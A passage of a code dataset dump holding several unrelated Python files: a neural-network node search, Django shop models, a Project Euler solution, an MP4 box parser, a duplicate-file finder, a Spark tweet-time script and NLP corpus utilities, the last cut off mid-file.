+{"seq_id":"569682776","text":"#/usr/bin/python\n\nfrom reddit import Reddit\n\nclass CommentAction():\n\n\tcomment_id = None\n\tauthor = None\n\toriginal_comment = None\n\t_action = None\n\t_data = None\n\n\tdef __init__(self,comment_id, author, original_comment, suggestions, action=None, data=None):\n\n\t\tself.comment_id = comment_id\n\t\tself.author = author\n\t\tself.original_comment = original_comment\n\t\tself._action = action\n\t\tself._data = data\n\n\tdef __call__(self):\n\t\tif self._action is not None:\n\t\t\tif self._data is not None:\n\t\t\t\tself._action(self._data)\n\t\t\telse:\n\t\t\t\tself._action()\n\n","sub_path":"commentAction.py","file_name":"commentAction.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"278470086","text":"\"\"\" Created by Max 11/17/2017 \"\"\"\n\nimport numpy as np\nimport random\n\nfrom NeuralNetworkFast import NeuralNetwork\nfrom customCsvReader import CustomCSVReader\n\n\nclass hidden_layer1_node_search():\n def __init__(self, number_inputs, number_outputs):\n self.number_inputs = number_inputs\n self.number_outputs = number_outputs\n\n def find_optimal_hidden_node_1(self, start_number, max_number, step, dataset, positive_class_name):\n \"\"\"\n A search that trains a nerual network with the specified number of layers, and then searches for\n the optimal number in the hidden layer that is specified.\n Does so by training and testing a network on 2/3s of the data for a data set.\n Lowest error rate is best\n \"\"\"\n random.shuffle(dataset)\n processing_data = NeuralNetwork(self.number_inputs, self.number_outputs, num_in_hidden_layer_1=2)\n\n dataset = processing_data.pre_process(dataset, positive_class_name)\n\n training_set = dataset[:int(2*len(dataset)/3)]\n test_set = dataset[int(2*len(dataset)/3):]\n\n node_numbers = list(range(start_number, max_number + step, step))\n error_list = []\n\n for node_number in node_numbers:\n print(\"Trying node number: {}\".format(node_number))\n nn = NeuralNetwork(self.number_inputs, self.number_outputs, num_in_hidden_layer_1=node_number)\n model = nn.learn(training_set)\n\n error_rate = self.calculate_error_rate(nn, model, test_set)\n\n error_list.append(error_rate)\n\n error_list = np.array(error_list)\n min_error_index = error_list.argmin()\n optimal_node_number = node_numbers[min_error_index]\n\n print(error_list)\n return optimal_node_number\n\n def calculate_error_rate(self, learner, model, test_data):\n \"\"\"\n Calculates the error rate for classification.\n\n tracks the actual and predictions\n\n :param learner: a classifier\n :param model: model of the learner\n :param test_data: query points for\n :return: error_rate, list of predictions, the actual values.\n \"\"\"\n predictions = learner.classify(model, test_data)\n actuals = []\n\n num_errors = 0\n for prediction, test_item in zip(predictions, test_data):\n\n actual_prediction = prediction\n\n actuals.append(test_item[-1])\n if actual_prediction != test_item[-1]:\n num_errors += 1\n\n error_rate = num_errors / len(predictions)\n\n return error_rate\n\n\n# \nprint(\"Cancer\")\nnode_search = hidden_layer1_node_search(90, 1)\n\nall_data = CustomCSVReader.read_file(\"data/breast-cancer-wisconsin.data.new.txt\", float)\noptimal_node_number = node_search.find_optimal_hidden_node_1(start_number=5, max_number=20,\n step=5, dataset=all_data, positive_class_name=1)\nprint(optimal_node_number)\n# \n\n# \nprint(\"Soybean\")\nnode_search = hidden_layer1_node_search(204, 1)\n\nall_data = CustomCSVReader.read_file(\"data/soybean-small.data.new.txt\", float)\noptimal_node_number = node_search.find_optimal_hidden_node_1(start_number=5, max_number=20,\n step=5, dataset=all_data, positive_class_name=\"D1\")\nprint(optimal_node_number)\n# \n\n# \nprint(\"Votes\")\nnode_search = hidden_layer1_node_search(16, 1)\n\nall_data = CustomCSVReader.read_file(\"data/house-votes-84.data.new.txt\", float)\noptimal_node_number = node_search.find_optimal_hidden_node_1(start_number=5, max_number=20,\n step=5, dataset=all_data, positive_class_name=\"democrat\")\nprint(optimal_node_number)\n# \n\n# \nprint(\"Iris\")\nnode_search = hidden_layer1_node_search(24, 1)\n\nall_data = CustomCSVReader.read_file(\"data/iris.data.new.txt\", float)\noptimal_node_number = node_search.find_optimal_hidden_node_1(start_number=5, max_number=20,\n step=5, dataset=all_data, positive_class_name=\"Iris-setosa\")\nprint(optimal_node_number)\n# \n\n# \nprint(\"Glass\")\nnode_search = hidden_layer1_node_search(54, 1)\n\nall_data = CustomCSVReader.read_file(\"data/glass.data.new.txt\", float)\noptimal_node_number = node_search.find_optimal_hidden_node_1(start_number=5, max_number=20,\n step=5, dataset=all_data, positive_class_name=3)\nprint(optimal_node_number)\n# \n\n\n\n\n","sub_path":"project6/NNHiddenNodeSearch.py","file_name":"NNHiddenNodeSearch.py","file_ext":"py","file_size_in_byte":4679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"92406727","text":"#-*- coding: utf-8 -*-\nfrom django.db import models\nfrom django.contrib.auth.models import User\n\nimport datetime\n\nclass Tag(models.Model):\n '''\n 标签\n >>> t = Tag.objects.create(name = 'tag')\n >>> t.name\n 'tag'\n '''\n name = models.CharField(max_length = 50,\n verbose_name = '标签名称')\n note = models.TextField(blank = True, null = True,\n verbose_name = '备注')\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n ordering = ['name']\n verbose_name = '标签'\n verbose_name_plural = '标签信息'\n\nclass Log(models.Model):\n '''\n 日志\n '''\n user = models.ForeignKey(User,\n blank = True, null = True,\n editable=False,\n verbose_name = '操作员')\n date = models.DateTimeField(auto_now = True,\n verbose_name = '操作时间')\n note = models.TextField(blank = True, null = True,\n verbose_name = '备注')\n\n class Meta:\n abstract=True\n\nclass Gam(Log):\n '''\n 联系人\n '''\n name = models.CharField(max_length = 50,\n verbose_name = '名称')\n tags = models.ManyToManyField(Tag,\n verbose_name = '标签')\n gender = models.BooleanField(default = True,\n verbose_name = '男/女')\n number = models.IntegerField(default = 0,\n verbose_name = '次数')\n sum = models.DecimalField(default = 0,\n max_digits = 10,\n decimal_places = 2,\n verbose_name = '总花销')\n tel = models.CharField(max_length = 50,\n blank=True, null=True,\n verbose_name = '电话')\n fax = models.CharField(max_length = 50,\n blank=True, null=True,\n verbose_name = '传真')\n phone = models.CharField(max_length = 50,\n blank=True, null=True,\n verbose_name = '手机')\n company = models.CharField(max_length = 150,\n blank=True, null=True,\n verbose_name = '公司')\n address = models.CharField(max_length = 150,\n blank=True, null=True,\n verbose_name = '地址')\n email = models.EmailField(blank=True, null=True,\n verbose_name = '邮箱')\n cdate = models.DateField(default = datetime.date.today(),\n blank = True,\n verbose_name = '创建日期')\n\n def add(self, account):\n self.number += 1\n self.sum += account.price\n self.save()\n\n def sub(self, account):\n self.number -= 1\n self.sum -= account.price\n self.save()\n\n def __unicode__(self):\n tags = []\n for t in self.tags.all():\n tags.append(t.name)\n return u'%s[%s]'%(self.name,\n ','.join(tags))\n\n class Meta:\n abstract=True\n\nclass Suppliers(Gam):\n '''\n 供应商\n >>> t = Tag.objects.create(name = 'tag')\n >>> s = Suppliers.objects.create(name = 'ET', sum = 20)\n >>> su = Supply.objects.create(suppliers = s, price = 10)\n >>> s.number\n 1\n >>> s.sum\n 30\n '''\n title = models.CharField(max_length = 50,\n blank = True, null = True,\n verbose_name = '称谓')\n\n class Meta:\n ordering = ['name']\n verbose_name = '供应商'\n verbose_name_plural = '供应商信息'\n\nclass Customer(Gam):\n '''\n 客户\n >>> t = Tag.objects.create(name = 'tag')\n >>> c = Customer.objects.create(name = 'ET')\n >>> c.name\n 'ET'\n '''\n\n class Meta:\n ordering = ['-number']\n verbose_name = '客户'\n verbose_name_plural = '客户信息'\n\nclass Check(Log):\n '''\n 检查\n >>> t = Tag.objects.create(name = 'tag')\n >>> cu = Customer.objects.create(name = 'ET')\n >>> c = Check.objects.create(customer = cu)\n >>> c.customer.name\n 'ET'\n '''\n customer = models.ForeignKey(Customer,\n verbose_name = '客户')\n left = models.IntegerField(verbose_name = '左眼',\n blank = True, null = True)\n right = models.IntegerField(verbose_name = '右眼',\n blank = True, null = True)\n\n def __unicode__(self):\n return u'%s检查%d,%d'%(self.customer.name,\n self.left,\n self.right)\n\n class Meta:\n ordering = ['-date']\n verbose_name = '检查'\n verbose_name_plural = '检查信息'\n\nclass Type(models.Model):\n '''\n 货物类型\n >>> t = Type.objects.create(name = 'type')\n >>> t.name\n 'type'\n '''\n name = models.CharField(max_length = 50,\n verbose_name = '类型名称')\n note = models.TextField(blank = True, null = True,\n verbose_name = '备注')\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n ordering = ['name']\n verbose_name = '货物类型'\n verbose_name_plural = '货物类型信息'\n\nclass Brank(models.Model):\n '''\n 品牌\n '''\n name = models.CharField(max_length = 50,\n verbose_name = '类型名称')\n company = models.CharField(max_length = 150,\n blank=True, null=True,\n verbose_name = '公司')\n note = models.TextField(blank = True, null = True,\n verbose_name = '备注')\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n ordering = ['name']\n verbose_name = '品牌'\n verbose_name_plural = '品牌信息'\n\nclass Material(models.Model):\n '''\n 材质\n '''\n name = models.CharField(max_length = 50,\n verbose_name = '类型名称')\n note = models.TextField(blank = True, null = True,\n verbose_name = '备注')\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n ordering = ['name']\n verbose_name = '材质'\n verbose_name_plural = '材质信息'\n\nclass Goods(Log):\n '''\n 货物\n >>> g = Goods.objects.create(name = 'good', type = Type.objects.create(name = 'type'))\n >>> g.name\n 'good'\n >>> g.type.name\n 'type'\n '''\n name = models.CharField(max_length = 50,\n verbose_name = '货物名称')\n code = models.CharField(max_length = 50,\n blank = True, null = True,\n verbose_name = '货物代码')\n type = models.ForeignKey(Type,\n blank = True, null = True,\n verbose_name = '类型')\n material = models.ForeignKey(Material,\n blank = True, null = True,\n verbose_name = '材质')\n brank = models.ForeignKey(Brank,\n blank = True, null = True,\n verbose_name = '品牌')\n\n def __unicode__(self):\n return u'%s:%s[%s]P%s,M%s'%(self.type.name,\n self.name,\n self.code,\n self.brank.name,\n self.material.name)\n\n class Meta:\n ordering = ['name']\n verbose_name = '货物'\n verbose_name_plural = '货物信息'\n\nclass Details(models.Model):\n '''\n 明细\n '''\n goods = models.ForeignKey(Goods,\n verbose_name = '货物')\n number = models.IntegerField(default = 1,\n verbose_name = '数量')\n price = models.DecimalField(max_digits = 10,\n decimal_places = 2,\n verbose_name = '售价')\n\n def __unicode__(self):\n return u'%s : %d'%(self.goods.name, self.price)\n\n def create_stock(self):\n stock = Stock.objects.create(number = self.number,\n goods = self.goods,\n price = self.price,\n total = self.number)\n stock.save()\n\n class Meta:\n abstract=True\n ordering = ['-number']\n verbose_name = '订单明细'\n verbose_name_plural = '订单明细信息'\n\nclass Stock(Details):\n '''\n 库存\n >>> g = Goods.objects.create(name = 'good', type = Type.objects.create(name = 'type'))\n >>> s = Stock.objects.create(number=10, total=20, goods = g, price='3.3')\n >>> s.number\n 10\n >>> s.total\n 20\n >>> s.goods.name\n 'good'\n >>> s.price\n '3.3'\n '''\n total = models.IntegerField(verbose_name = '总量')\n note = models.TextField(blank = True, null = True,\n verbose_name = '备注')\n\n def add(self, details):\n self.number += details.number\n self.price += details.price\n self.total += details.number\n self.save()\n\n def sub(self, details):\n self.price -= self.price / self.number * details.number\n self.number -= details.number\n self.total -= details.number\n self.save()\n\n def __unicode__(self):\n return u'%s : %i/%i'%(self.goods.name,\n self.number,\n self.total)\n\n class Meta:\n ordering = ['-number']\n verbose_name = '库存'\n verbose_name_plural = '库存信息'\n\nclass Account(Log):\n '''\n 账目\n '''\n sdate = models.DateField(default = datetime.date.today(),\n blank = True,\n verbose_name = '日期')\n price = models.DecimalField(max_digits = 10,\n decimal_places = 2,\n default = 0,\n verbose_name = '合计')\n\n class Meta:\n abstract=True\n ordering = ['-sdate']\n\nclass Supply(Account):\n '''\n 采购\n '''\n suppliers = models.ForeignKey(Suppliers,\n verbose_name = '供货商')\n\n def sum(self):\n ds = SupplyDetails.objects.filter(supply = self)\n self.price = 0\n for d in ds:\n self.price += d.price\n self.save()\n\n def save(self, *args, **kwargs):\n #修改供应商信息\n if self.id:\n old = Supply.objects.get(id = self.id)\n old.suppliers.sub(old)\n self.suppliers.add(self)\n super(Supply, self).save(*args, **kwargs)\n\n def __unicode__(self):\n return u'%s[%d]:%s'%(self.suppliers.name,\n self.suppliers.number,\n self.sdate)\n\n class Meta:\n ordering = ['-sdate']\n verbose_name = '采购'\n verbose_name_plural = '采购信息'\n\nclass Order(Account):\n '''\n 订单\n '''\n customer = models.ForeignKey(Customer,\n verbose_name = '客户')\n\n def sum(self):\n ds = OrderDetails.objects.filter(order = self)\n self.price = 0\n for d in ds:\n self.price += d.price\n self.save()\n\n def save(self, *args, **kwargs):\n #修改客户信息\n if self.id:\n old = Order.objects.get(id = self.id)\n old.customer.sub(old)\n self.customer.add(self)\n super(Order, self).save(*args, **kwargs)\n\n def __unicode__(self):\n return u'%s[%s]:%d'%(self.customer.name,\n self.sdate.strftime('%y%m%d'),\n self.price)\n\n class Meta:\n ordering = ['-sdate']\n verbose_name = '订单'\n verbose_name_plural = '订单信息'\n\nclass OrderDetails(Details):\n '''\n 订单明细\n '''\n order = models.ForeignKey(Order,\n verbose_name = '订单')\n\n def delete(self):\n list = Stock.objects.filter(goods = self.goods)\n if list:\n list[0].add(self)\n super(OrderDetails, self).delete()\n self.order.sum()\n else:\n self.create_stock()\n\n def save(self, *args, **kwargs):\n list = Stock.objects.filter(goods = self.goods)\n if list:\n old = None\n if self.id:\n old = OrderDetails.objects.get(id = self.id)\n #修改库存\n stock = list[0]\n if old:\n os = stock\n olist = Stock.objects.filter(goods = old.goods)\n if olist:\n if olist[0].id != stock.id:\n os = olist[0]\n os.add(old)\n stock.sub(self)\n super(OrderDetails, self).save(*args, **kwargs)\n self.order.sum()\n else:\n self.create_stock()\n\n class Meta:\n ordering = ['-goods']\n verbose_name = '订单明细'\n verbose_name_plural = '订单明细信息'\n\nclass SupplyDetails(Details):\n '''\n 采购明细\n '''\n supply = models.ForeignKey(Supply,\n verbose_name = '采购单')\n pdate = models.DateField(default = datetime.date.today(),\n blank = True,\n verbose_name = '生产日期')\n\n def delete(self):\n list = Stock.objects.filter(goods = self.goods)\n if list:\n list[0].add(self)\n super(SupplyDetails, self).delete()\n self.supply.sum()\n else:\n self.create_stock()\n\n def save(self, *args, **kwargs):\n #修改库存\n list = Stock.objects.filter(goods = self.goods)\n if list:\n stock = list[0]\n old = None\n if self.id:\n old = SupplyDetails.objects.get(id = self.id)\n if old:\n os = stock\n olist = Stock.objects.filter(goods = old.goods)\n if olist:\n if olist[0].id != stock.id:\n os = olist[0]\n os.sub(old)\n stock.add(self)\n super(SupplyDetails, self).save(*args, **kwargs)\n self.supply.sum()\n else:\n self.create_stock()\n\n class Meta:\n ordering = ['pdate']\n verbose_name = '采购明细'\n verbose_name_plural = '采购明细信息'\n","sub_path":"glasses/scm/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":13333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"475262395","text":"# Problem 68\nfrom itertools import permutations\n\nbestSoFar = 0\n\nfor perm in permutations(range(1,11)):\n #We assume that the permutation is written:\n # 0-4 Outside values with least value at index 0 (we check this) clockwise\n # 5-9 Inside values with index 0 adjacent to index 5 etc. clockwise\n if (not 10 in perm[:5]):\n continue\n if (perm[0] != min(perm[:5])):\n continue\n #Check that we are starting in the right place (Min of outside is at index 0)\n if (sum(perm[:5]) % 5 != 0):\n continue\n #Total sum is 55, but the total of all five additions counts inner 5 twice and is a multiple of 5\n total = int(str(perm[0]) + str(perm[5]) + str(perm[6]) +\\\n str(perm[1]) + str(perm[6]) + str(perm[7]) +\\\n str(perm[2]) + str(perm[7]) + str(perm[8]) +\\\n str(perm[3]) + str(perm[8]) + str(perm[9]) +\\\n str(perm[4]) + str(perm[9]) + str(perm[5]))\n if (not total > bestSoFar):\n continue\n tot0 = perm[0] + perm[5] + perm[6]\n tot1 = perm[1] + perm[6] + perm[7]\n tot2 = perm[2] + perm[7] + perm[8]\n tot3 = perm[3] + perm[8] + perm[9]\n tot4 = perm[4] + perm[9] + perm[5]\n if (tot0 == tot1 and tot1 == tot2 and tot2 == tot3 and tot3 == tot4):\n bestSoFar = total\nprint(bestSoFar)","sub_path":"Euler068.py","file_name":"Euler068.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"415299164","text":"# coding: utf-8\n\nimport io\nfrom Mp4Atom import *\n\n# Stsd box\ndef StsdBox(content):\n stream = io.BytesIO(content)\n init_position = 4\n stream.seek(init_position, 0)\n\n avc1_box = FindOneBox(stream, \"avc1\")\n\n mp4a_box = None\n if not avc1_box:\n stream.seek(init_position, 0)\n mp4a_box = FindOneBox(stream, \"mp4a\")\n\n return {\n \"avc1_box\": avc1_box,\n \"mp4a_box\": mp4a_box\n }\n\ndef StsdVideoBox(stsd_box):\n return stsd_box[\"avc1_box\"]\n\ndef StsdAudioBox(stsd_box):\n return stsd_box[\"mp4a_box\"]\n\n# Avc1 box\ndef Avc1Box(content):\n stream = io.BytesIO(content)\n stream.seek(78, 0)\n avcC = FindOneBox(stream, \"avcC\")\n\n if not avcC:\n raise Mp4Error(\"No avcC boxes found\")\n\n return {\n \"avcC_content\": BoxContent(avcC)\n }\n\ndef AvcCBytes(avc1Box):\n return avc1Box[\"avcC_content\"]\n\n# AvcC box\ndef AvcCBox(content):\n return {\n \"codec\": content[1:4].encode('hex')\n }\n\ndef VideoCodec(avcCBox):\n return avcCBox[\"codec\"]\n\n# Descriptor\nTAG_TO_NAME = {\n 0x03: 'ESDescriptor',\n 0x04: 'DecoderConfigDescriptor',\n 0x05: 'DecoderSpecificInfo',\n 0x06: 'SLConfigDescriptor'\n}\n\ndef Descriptor(content):\n tag = struct.unpack(\">B\", content[0:1])[0]\n ptr = 1\n len_byte, length = 0, 0\n while ptr < len(content):\n len_byte = struct.unpack(\">B\", content[ptr:ptr+1])[0]\n ptr += 1\n length = (length << 7) | (len_byte & 0x7f)\n if not (len_byte & 0x80):\n break\n\n obj = None\n tag_name = TAG_TO_NAME.get(tag)\n\n if tag_name == 'ESDescriptor':\n obj = ESDescriptor(content[ptr:])\n elif tag_name == 'DecoderConfigDescriptor':\n obj = DecoderConfigDescriptor(content[ptr:])\n else:\n obj = {\n \"buffer\": content[ptr:ptr+length]\n }\n\n obj[\"tag\"] = tag\n obj[\"tag_name\"] = tag_name\n obj[\"length\"] = ptr + length\n\n return obj\n\ndef DescritorArray(content):\n ptr = 0\n obj = {}\n while ptr + 2 <= len(content):\n descriptor = Descriptor(content[ptr:])\n ptr += descriptor[\"length\"]\n tag_name = TAG_TO_NAME.get(descriptor[\"tag\"], 'D' + str(descriptor[\"tag\"]))\n obj[tag_name] = descriptor\n\n return obj\n\ndef ESDescriptor(content):\n flags = struct.unpack(\">B\", content[2:3])[0]\n ptr = 3\n if (flags & 0x80):\n ptr += 2\n if (flags & 0x40):\n length = struct.unpack(\">B\", content[ptr:ptr+1])[0]\n ptr += length + 1\n if (flags & 0x20):\n ptr += 2\n\n return DescritorArray(content[ptr:])\n\n\ndef DecoderConfigDescriptor(content):\n oti = struct.unpack(\">B\", content[0:1])[0]\n obj = DescritorArray(content[13:])\n obj[\"oti\"] = oti\n return obj\n\n# Mp4a box\ndef Mp4aBox(content):\n stream = io.BytesIO(content)\n stream.seek(28, 0)\n\n esds = FindOneBox(stream, \"esds\", full_box=True)\n if not esds:\n raise Mp4Error(\"esds box not found\")\n\n return {\n \"esds_content\": BoxContent(esds)\n }\n\ndef EsdsBytes(mp4a_box):\n return mp4a_box[\"esds_content\"]\n\n# Esds box\ndef EsdsBox(content):\n if len(content) > 1024:\n raise Mp4Error(\"esds box is too big\")\n\n desc = Descriptor(content)\n\n esd = desc if desc[\"tag_name\"] == 'ESDescriptor' else {}\n dcd = esd.get('DecoderConfigDescriptor', {})\n oti = dcd.get('oti', 0)\n\n dsi = dcd.get('DecoderSpecificInfo')\n\n audio_config = 0\n if dsi:\n audio_config = (struct.unpack(\">B\", dsi[\"buffer\"][0:1])[0] & 0xf8) >> 3\n\n mime_codec = None\n if oti:\n mime_codec = hex(oti)[2:]\n if audio_config:\n mime_codec += '.' + str(audio_config)\n\n return {\n \"codec\": mime_codec\n }\n\ndef AudioCodec(EsdsBox):\n return EsdsBox[\"codec\"]\n","sub_path":"pysrc/BoxDecoder.py","file_name":"BoxDecoder.py","file_ext":"py","file_size_in_byte":3697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"3348101","text":"\"\"\"\n__author__ = Hagai Har-Gil\n\"\"\"\nimport pathlib\n\n\nclass FolderIterator:\n \"\"\" Iterates through the folder, finding duplicates \"\"\"\n def __init__(self, foldername='./base'):\n self.foldername = pathlib.Path(str(foldername))\n assert self.foldername.exists()\n self.uniques = [] # list of tuples of (filename, content)\n self.duplicates = {}\n self.content = []\n\n def iter_folder(self):\n \"\"\"\n Main function to find duplicate and unique files in the filesystem.\n Must use the \"with\" statement.\n \"\"\"\n\n for file in self.foldername.rglob('*.*'):\n with open(file, 'r') as f:\n content = f.read()\n if content in self.content:\n for item in self.uniques:\n if item[1] == content:\n self.duplicates[item[0]].append(str(file))\n\n else:\n self.content.append(content)\n self.uniques.append((str(file), content))\n self.duplicates[str(file)] = []\n\n\nif __name__ == '__main__':\n fol = FolderIterator()\n fol.iter_folder()\n print(fol.uniques)\n print(fol.duplicates)\n","sub_path":"assignment3/hw3_q1.py","file_name":"hw3_q1.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"443072043","text":"# Spark example to print the average tweet length using Spark\n# PGT April 2016 \n# To run, do: spark-submit --master yarn-client avgTweetLength.py hdfs://hadoop2-0-0/data/twitter/part-03212\n\nfrom __future__ import print_function\nimport sys, json\nfrom pyspark import SparkContext\nimport datetime\n# Given a full tweet object, return the text of the tweet\ndateList =[]\ndef getText(line):\n try:\n input_dict = json.loads(line)\n user_dict = input_dict['user']\n if user_dict['screen_name'] == 'PrezOno':\n date = input_dict['created_at']\n dt = datetime.datetime.strptime(date,'%a %b %d %H:%M:%S +0000 %Y')\n datetest = dt.strftime('%b%d %H')\n # datetest1 = dt.strftime('%H')\n return [datetest]\n #if not(datetest in dateList):\n # dateList.append(datetest)\n \n else:\n return[]\n \n except Exception as a:\n return[]\n \n \n \nif __name__ == \"__main__\":\n if len(sys.argv) < 2:\n print(\"enter a filename\")\n sys.exit(1)\n \n sc = SparkContext(appName=\"Avg Tweet time\")\n \n tweets = sc.textFile(sys.argv[1],)\n \n time1 = tweets.flatMap(getText)\n tot = time1.map(lambda a: a.split(\" \")[0])\n hours_arr = time1.map(lambda a: a.split(\" \")[1])\n hours = hours_arr.map(lambda a: (a,1)).reduceByKey(lambda a,b: a+b)\n #totaldays = tot.flatMap(lambda a: a.split(\" \")).map(lambda a: (a,1)).reduceByKey(lambda a,b: a+b)\n totaldays = tot.map(lambda a: (a,1)).reduceByKey(lambda a,b: a+b)\n \n # Just show 10 tweet lengths to validate this works\n no_of_days = totaldays.count()\n #avgTweetPerHour = hours.map(lambda a:a[1]/no_of_days)\n if not (no_of_days == 0):\n hoursAvg = hours.mapValues(lambda a: float(a)/no_of_days)\n averageHours = hoursAvg.collect()\n # hours.values\n \n # Save to your local HDFS folder\n \n hoursAvg.coalesce(1).saveAsTextFile(\"Avg hours\")\n \n \n sc.stop()\n","sub_path":"mapOnoSpark.py","file_name":"mapOnoSpark.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"187106636","text":"# First, import the python libraries we're going to use\nimport logging, os, collections, sys, re, csv\nimport regex\n# import gensim\nfrom nltk import tokenize, collocations, stem\nfrom langdetect import detect\n\n# import line_profiler\n# import atexit\n# profile = line_profiler.LineProfiler()\n# atexit.register(profile.print_stats)\n\n# Constants\nctPunctuationTokens = ['.', '..', '...', ',', ';', ':', '(', ')', '\"', '\\'', '[', ']', '{', '}',\n '?', '!', '-', u'–', '+', '*', '--', '\\'\\'', '``']\nctPunctuation = '?.!/;:()&+%'\nctDigits = '0123456789'\nctLanguages = {\n 'de': 'german',\n 'en': 'english',\n 'es': 'spanish',\n 'fr': 'french',\n 'hu': 'hungarian',\n 'it': 'italian',\n 'ro': 'romanian'\n}\nctExcluded = [u'bucurești',\n u'bucureşti',\n 'bucuresti',\n 'dragnea'\n ]\n\n# Configure logging\nlogging.basicConfig(stream=sys.stdout, format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)\n\n\n# --------------------------------------------------------------------------------------------------\n# A function to load all text from a text file (any text file)\n# We'll use it for loading in memory the entire supplied corpus\n# --------------------------------------------------------------------------------------------------\ndef loadCorpus(fileName):\n \"\"\" Split corpus in sentences\n :param fileName: File containing corpus body\n :return:\n \"\"\"\n text = ''\n if fileName:\n logging.info(\"Loading corpus...\")\n try:\n text = open(fileName, mode='r', encoding='utf-8').read().lower()\n logging.info(\"Corpus loaded from file %s [%0.3f Mb].\",\n fileName,\n os.path.getsize(fileName) / (1024 * 1024))\n except Exception as e:\n logging.info(repr(e))\n else:\n logging.info(\"Please provide a corpus file.\")\n return text\n\n\n# --------------------------------------------------------------------------------------------------\n# A function to load all sentences from a text file (any text file)\n# We'll use it for loading in memory all sentences from the supplied corpus\n# --------------------------------------------------------------------------------------------------\ndef loadSentences(fileName):\n \"\"\" Split corpus in sentences\n :param fileName: File containing corpus body\n :return:\n \"\"\"\n originalSentences = list()\n if fileName:\n logging.info(\"Loading corpus sentences...\")\n try:\n originalSentences = tokenize.sent_tokenize(\n text=open(fileName, mode='r', encoding='utf-8').read().lower(), language='english')\n logging.info(\"%s sentences loaded from file %s [%0.3f Mb].\",\n '{:,}'.format(len(originalSentences)), fileName,\n os.path.getsize(fileName) / (1024 * 1024))\n except Exception as e:\n logging.info(repr(e))\n else:\n logging.info(\"Please provide a corpus file.\")\n return originalSentences\n\n\n# # -------------------------------------------------------------------\n# # A function to split corpus sentences in words\n# # -------------------------------------------------------------------\n# def sentencesToWords(sentences):\n# for sentence in sentences:\n# # yield (gensim.utils.simple_preprocess(str(sentence), deacc=True)) # deacc=True removes punctuations\n# yield (gensim.utils.simple_preprocess(str(sentence), min_len=1, max_len=100, deacc=False)) # deacc=True removes punctuations\n\n\n# --------------------------------------------------------------------------------------------------\n# A function to load all individual words from a text file (any text file)\n# We'll use it for loading in memory all words from the supplied corpus or from the stopwords file\n# --------------------------------------------------------------------------------------------------\ndef loadWords(fileName):\n \"\"\"\n :param fileName: Corpus of text, as txt file\n :return: iterable of words\n \"\"\"\n words = []\n if fileName and os.path.exists(fileName):\n logging.info(\"Loading words from file %s [%0.3f Mb].\", fileName, os.path.getsize(fileName) / (1024 * 1024))\n try:\n # # words = tokenize.word_tokenize(text=open(fileName, mode='r', encoding='utf-8').read(), language='english')\n words = re.findall(r'\\w+', open(fileName, mode='r', encoding='utf-8').read().lower())\n logging.info(\"%s words loaded...\", '{:,}'.format(len(words)))\n except Exception as e:\n # logging.info(\"Please provide a valid file name.\")\n logging.info(repr(e))\n else:\n logging.info(\"Please provide a valid file name.\")\n\n # Remove potential void words\n words = [word for word in words if word != '']\n\n return words\n\n\n# --------------------------------------------------------------------------------------------------\n# A function to load a lexicon from a CSV file into a memory dictionary\n# --------------------------------------------------------------------------------------------------\ndef loadLexicon(fileName):\n \"\"\"\n :param fileName: Lexicon, as csv file\n :return: dictionary of terms\n \"\"\"\n lexicon = {}\n if fileName and os.path.exists(fileName):\n logging.info(\"Loading lexicon from file %s [%0.3f Mb].\", fileName, os.path.getsize(fileName) / (1024 * 1024))\n try:\n with open(fileName, newline='') as csvfile:\n spamreader = csv.reader(csvfile, delimiter=';')\n for row in spamreader:\n lexicon[row[0]] = row[1]\n logging.info(\"%s words loaded from lexicon...\", '{:,}'.format(len(lexicon)))\n except Exception as e:\n # logging.info(\"Please provide a valid file name.\")\n logging.info(repr(e))\n else:\n logging.info(\"Please provide a valid file name.\")\n\n # Remove potential void words\n # words = [word for word in words if word != '']\n\n return lexicon\n\n\n# --------------------------------------------------\n# A function to remove a set of words from a corpus\n# We'll use it to remove the stopwords\n# --------------------------------------------------\ndef removeStopwords(words, stopwords):\n \"\"\" Remove stopwords from corpus\n :return: list of words minus stopwords\n \"\"\"\n wordsAux = []\n if stopwords and words:\n logging.info(\"Removing stopwords...\")\n wordsAux = [x for x in words if x not in stopwords]\n logging.info(\"%s words retained from text.\", '{:,}'.format(len(wordsAux)))\n return wordsAux\n\n\n# --------------------------------------------------\n# A function to remove unicode punctuation\n# --------------------------------------------------\ndef removeUnicodePunctuation(text):\n \"\"\" Removes unicode punctuation\n :param text:\n :return: string without unicode punctuation\n \"\"\"\n res = text\n res = res.replace(u'”', ' ')\n res = res.replace(u'’', ' ')\n res = res.replace(u'…', ' ')\n res = res.replace(u'„', ' ')\n res = res.replace(u'“', ' ')\n res = res.replace(u',', ' ')\n return res\n\n\n# --------------------------------------------------\n# A function to remove Romanian diacritics\n# --------------------------------------------------\ndef removeDiacritics(text):\n \"\"\" Replaces diacritics\n :param text:\n :return: string without diacritics\n \"\"\"\n res = text\n res = res.replace(u'ț', 't')\n res = res.replace(u'ă', 'a')\n res = res.replace(u'î', 'i')\n res = res.replace(u'ș', 's')\n res = res.replace(u'â', 'a')\n res = res.replace(u'ţ', 't')\n res = res.replace(u'ş', 's')\n res = res.replace(u'à', 'a')\n return res\n\n\n# -----------------------------------------------------------------\n# A function to do some generic pre-processing on a corpus of words\n# -----------------------------------------------------------------\ndef preProcess(document, lowercase=True, unicode=True, diacritics=True, punctuation=True, digits=True):\n \"\"\" Pre-process corpora for training\n :param sentences: 